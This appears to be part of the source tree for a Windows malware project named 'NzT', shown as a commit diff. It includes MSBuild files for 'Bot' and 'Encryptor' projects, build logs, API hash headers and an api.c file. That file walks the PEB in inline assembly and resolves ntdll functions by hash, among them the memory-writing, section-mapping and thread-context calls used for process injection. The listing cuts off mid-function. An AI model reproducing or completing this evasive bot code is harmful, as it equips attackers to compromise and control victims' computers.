<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Encryptor.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Encryptor.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@ -0,0 +1,8 @@
c:\users\user\documents\nzt\src\encryptor\release\vc142.pdb
c:\users\user\documents\nzt\src\encryptor\release\encryptor.obj
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.command.1.tlog
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.read.1.tlog
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\cl.write.1.tlog
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.command.1.tlog
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.read.1.tlog
c:\users\user\documents\nzt\src\encryptor\release\encryptor.tlog\link.write.1.tlog

View File

@ -0,0 +1,8 @@
 Encryptor.c
C:\Users\user\Documents\NzT\src\Shared\crt.c(485,31): warning C4244: '=': conversion from 'DWORD' to 'USHORT', possible loss of data
C:\Users\user\Documents\NzT\src\Shared\crt.c(486,36): warning C4244: '=': conversion from 'DWORD' to 'USHORT', possible loss of data
Generating code
Previous IPDB not found, fall back to full compilation.
All 29 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
Finished generating code
Encryptor.vcxproj -> C:\Users\user\Documents\NzT\src\Release\Encryptor.exe

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0
Release|Win32|C:\Users\user\Documents\NzT\src\|

Binary file not shown.

Binary file not shown.

Binary file not shown.

43
src/NzT.sln Normal file
View File

@ -0,0 +1,43 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1778
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bot", "Bot\Bot.vcxproj", "{4415A846-1C99-4260-960D-40E141837813}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Encryptor", "Encryptor\Encryptor.vcxproj", "{7931DABA-686D-4B7A-BEF9-DD52F1469367}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Shared", "Shared\Shared.vcxitems", "{AF96A04D-24AE-4A4D-BF5E-396969DD48D5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4415A846-1C99-4260-960D-40E141837813}.Debug|x64.ActiveCfg = Debug|x64
{4415A846-1C99-4260-960D-40E141837813}.Debug|x64.Build.0 = Debug|x64
{4415A846-1C99-4260-960D-40E141837813}.Debug|x86.ActiveCfg = Debug|Win32
{4415A846-1C99-4260-960D-40E141837813}.Debug|x86.Build.0 = Debug|Win32
{4415A846-1C99-4260-960D-40E141837813}.Release|x64.ActiveCfg = Release|x64
{4415A846-1C99-4260-960D-40E141837813}.Release|x64.Build.0 = Release|x64
{4415A846-1C99-4260-960D-40E141837813}.Release|x86.ActiveCfg = Release|Win32
{4415A846-1C99-4260-960D-40E141837813}.Release|x86.Build.0 = Release|Win32
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x64.ActiveCfg = Debug|x64
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x64.Build.0 = Debug|x64
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x86.ActiveCfg = Debug|Win32
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Debug|x86.Build.0 = Debug|Win32
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x64.ActiveCfg = Release|x64
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x64.Build.0 = Release|x64
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x86.ActiveCfg = Release|Win32
{7931DABA-686D-4B7A-BEF9-DD52F1469367}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {FA4446C5-33AE-4057-924B-275413E3F532}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,56 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Label="Globals">
<MSBuildAllProjects>$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
<HasSharedItems>true</HasSharedItems>
<ItemsProjectGuid>{af96a04d-24ae-4a4d-bf5e-396969dd48d5}</ItemsProjectGuid>
</PropertyGroup>
<ItemDefinitionGroup>
<ClCompile>
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ProjectCapability Include="SourceItemsFromImports" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)advapi32_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)advapi32_hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)api.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)config.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)crt.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)crypto.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)file.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)guid.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)hashes.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)hook.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)injection.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)kernel32_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)kernel32_hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll_hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)registry.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)shell32_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)shell32_hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)strings.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)user32_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)user32_hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)wininet_functions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)wininet_hash.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)api.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)config.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)crt.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)crypto.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)debug.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)file.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)guid.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)hook.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)injection.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)registry.c" />
<ClCompile Include="$(MSBuildThisFileDirectory)utils.c" />
</ItemGroup>
</Project>

View File

@ -0,0 +1,174 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{cc068487-d631-4e61-9f68-2fa2c1f11322}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\Utilities">
<UniqueIdentifier>{f5f6420f-8b4a-4990-be0c-1d342067c5f7}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{09d0bf83-00c3-4e18-9b9f-67fc5fb13943}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Config">
<UniqueIdentifier>{25223bc2-b036-4a6d-a7b8-195dfdb14eea}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Utilities">
<UniqueIdentifier>{ca2adc11-29d3-4401-b227-5231d7e7d185}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Core">
<UniqueIdentifier>{92e8370c-86f4-4b68-b952-e727b6a0dcd7}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Misc">
<UniqueIdentifier>{52f926e4-cffc-4a0d-bca3-b9bf07d57ddf}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API">
<UniqueIdentifier>{eee9a8a8-a051-4952-9042-c31f94a4bceb}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\API">
<UniqueIdentifier>{5b446af7-5f09-4a6e-a5f8-d605212cf980}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\ntdll">
<UniqueIdentifier>{dd700a08-7a46-4cc0-b3bf-fc0afecb0c92}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\user32">
<UniqueIdentifier>{90a6a14c-60d3-4b1c-a00e-548eed34e683}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\wininet">
<UniqueIdentifier>{7fd18cc1-3d1d-4f0e-8c84-8e42f370e27e}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\kernel32">
<UniqueIdentifier>{fd0ea3c8-6283-4370-9b9a-e281a72ed3a1}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\advapi32">
<UniqueIdentifier>{56903e19-ce18-43f9-914f-effad4538614}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\API\shell32">
<UniqueIdentifier>{54282a96-01f7-40c5-a819-7bd9ebb9ffcf}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\Core">
<UniqueIdentifier>{2db74972-0780-4da0-8933-eb857eac7824}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\Config">
<UniqueIdentifier>{c69bfb8b-417e-402c-8f3e-a9f0924a898c}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\Crypto">
<UniqueIdentifier>{7e9fd5c7-48da-4ce1-a2a3-8944c0340585}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Crypto">
<UniqueIdentifier>{fcdfea01-acdf-421f-82e6-e8fc6ad10476}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)config.h">
<Filter>Header Files\Config</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)crt.h">
<Filter>Header Files\Utilities</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)strings.h">
<Filter>Header Files\Config</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)utils.h">
<Filter>Header Files\Utilities</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll.h">
<Filter>Header Files\Misc</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)api.h">
<Filter>Header Files\API</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll_hash.h">
<Filter>Header Files\API\ntdll</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)ntdll_functions.h">
<Filter>Header Files\API\ntdll</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)user32_functions.h">
<Filter>Header Files\API\user32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)user32_hash.h">
<Filter>Header Files\API\user32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)wininet_functions.h">
<Filter>Header Files\API\wininet</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)wininet_hash.h">
<Filter>Header Files\API\wininet</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)kernel32_functions.h">
<Filter>Header Files\API\kernel32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)advapi32_functions.h">
<Filter>Header Files\API\advapi32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)shell32_functions.h">
<Filter>Header Files\API\shell32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)shell32_hash.h">
<Filter>Header Files\API\shell32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)advapi32_hash.h">
<Filter>Header Files\API\advapi32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)kernel32_hash.h">
<Filter>Header Files\API\kernel32</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)injection.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)guid.h">
<Filter>Header Files\Utilities</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)hashes.h">
<Filter>Header Files\Config</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)file.h">
<Filter>Header Files\Utilities</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)registry.h">
<Filter>Header Files\Utilities</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)hook.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="$(MSBuildThisFileDirectory)crypto.h">
<Filter>Header Files\Crypto</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)crt.c">
<Filter>Source Files\Utilities</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)utils.c">
<Filter>Source Files\Utilities</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)guid.c">
<Filter>Source Files\Utilities</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)api.c">
<Filter>Source Files\API</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)debug.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)injection.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)config.c">
<Filter>Source Files\Config</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)registry.c">
<Filter>Source Files\Utilities</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)file.c">
<Filter>Source Files\Utilities</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)hook.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="$(MSBuildThisFileDirectory)crypto.c">
<Filter>Source Files\Crypto</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,11 @@
#ifndef __ADVAPI32_FUNCTIONS_H__
#define __ADVAPI32_FUNCTIONS_H__
#include <Windows.h>
typedef BOOL(WINAPI* ptGetUserNameA)(
_Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer,
_Inout_ LPDWORD pcbBuffer
);
#endif //__ADVAPI32_FUNCTIONS_H__

View File

@ -0,0 +1,7 @@
#ifndef __ADVAPI32_HASH_H__
#define __ADVAPI32_HASH_H__
#define HASH_ADVAPI32 0x929b1529
#define HASH_ADVAPI32_GETUSERNAMEA 0x59761a93
#endif //__ADVAPI32_HASH_H__

358
src/Shared/api.c Normal file
View File

@ -0,0 +1,358 @@
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "api.h"
#include "utils.h"
#include "nzt.h"
#include "ntdll.h"
//implement heavens gate to handle x86<->x64 dynamic function resolving
HMODULE GetModuleHandleByHash(DWORD Hash)
{
LDR_MODULE* Module = NULL;
DWORD CurrentHash;
DWORD Length;
_asm
{
MOV EAX, FS:[0x18];
MOV EAX, [EAX + 0x30];
MOV EAX, [EAX + 0x0C];
MOV EAX, [EAX + 0x0C];
MOV Module, EAX;
}
while (Module->BaseAddress)
{
LPWSTR LowerCase = StringToLowerW(Module->BaseDllName.Buffer, Module->BaseDllName.Length);
Length = StringLengthW(LowerCase) * 2;
CurrentHash = Crc32Hash(LowerCase, Length);
if (CurrentHash == Hash)
{
return (HMODULE)Module->BaseAddress;
}
Module = (PLDR_MODULE)(struct ModuleInfoNode*)Module->InLoadOrderModuleList.Flink;
}
return (HMODULE)NULL;
}
BOOL GetModules()
{
DWORD i;
API_MODULE ModuleList[] =
{
{HASH_KERNEL32, &NzT.Modules.Kernel32}
};
for (i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++)
{
if ((*ModuleList[i].Module = GetModuleHandleByHash(ModuleList[i].ModuleHash)) == 0)
{
return FALSE;
}
}
return TRUE;
}
BOOL LoadNtdllModule()
{
API_MODULE ModuleList[] =
{
{HASH_NTDLL, &NzT.Modules.Ntdll}
};
for (DWORD i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++)
{
if ((*ModuleList[i].Module = GetModuleHandleByHash(ModuleList[i].ModuleHash)) == 0)
{
return FALSE;
}
}
return TRUE;
}
BOOL LoadNtdll()
{
API_T ApiList[] =
{
{HASH_NTDLL_RTLGETVERSION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlGetVersion},
{HASH_NTDLL_NTCREATETHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateThread},
{HASH_NTDLL_NTQUERYINFORMATIONPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationProcess},
{HASH_NTDLL_NTQUERYINFORMATIONTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationThread},
{HASH_NTDLL_NTCREATEUSERPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateUserProcess},
{HASH_NTDLL_NTMAPVIEWOFSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtMapViewOfSection},
{HASH_NTDLL_NTCREATESECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateSection},
{HASH_NTDLL_LDRLOADDLL, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrLoadDll},
{HASH_NTDLL_LDRGETDLLHANDLE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrGetDllHandle},
{HASH_NTDLL_NTWRITEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtWriteVirtualMemory},
{HASH_NTDLL_NTALLOCATEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtAllocateVirtualMemory},
{HASH_NTDLL_NTPROTECTVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtProtectVirtualMemory},
{HASH_NTDLL_NTDEVICEIOCONTROLFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDeviceIoControlFile},
{HASH_NTDLL_NTSETCONTEXTTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtSetContextThread},
{HASH_NTDLL_NTOPENPROCESS, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenProcess},
{HASH_NTDLL_NTCLOSE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtClose},
{HASH_NTDLL_NTCREATEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtCreateFile},
{HASH_NTDLL_NTOPENFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenFile},
{HASH_NTDLL_NTDELETEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDeleteFile},
{HASH_NTDLL_NTREADVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtReadVirtualMemory},
{HASH_NTDLL_NTQUERYVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryVirtualMemory},
{HASH_NTDLL_NTOPENTHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenThread},
{HASH_NTDLL_NTRESUMETHREAD, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtResumeThread},
{HASH_NTDLL_NTFREEVIRTUALMEMORY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtFreeVirtualMemory},
{HASH_NTDLL_NTFLUSHINSTRUCTIONCACHE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtFlushInstructionCache},
{HASH_NTDLL_RTLRANDOMEX, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlRandomEx},
{HASH_NTDLL_NTQUERYSYSTEMINFORMATION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQuerySystemInformation},
{HASH_NTDLL_LDRQUERYPROCESSMODULEINFORMATION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pLdrQueryProcessModuleInformation},
{HASH_NTDLL_RTLINITUNICODESTRING, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlInitUnicodeString},
{HASH_NTDLL_NTWRITEFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtWriteFile},
{HASH_NTDLL_NTREADFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtReadFile},
{HASH_NTDLL_NTDELAYEXECUTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtDelayExecution},
{HASH_NTDLL_NTOPENKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtOpenKey},
{HASH_NTDLL_NTSETVALUEKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtSetValueKey},
{HASH_NTDLL_NTQUERYVALUEKEY, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryValueKey},
{HASH_NTDLL_RTLFORMATCURRENTUSERKEYPATH, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlFormatCurrentUserKeyPath},
{HASH_NTDLL_NTQUERYINFORMATIONFILE, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pNtQueryInformationFile}
};
for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++)
{
*ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash);
}
return TRUE;
}
HMODULE LoadLibraryByHash(DWORD Hash){
LPWSTR SystemDirectory;
WIN32_FIND_DATAW Data;
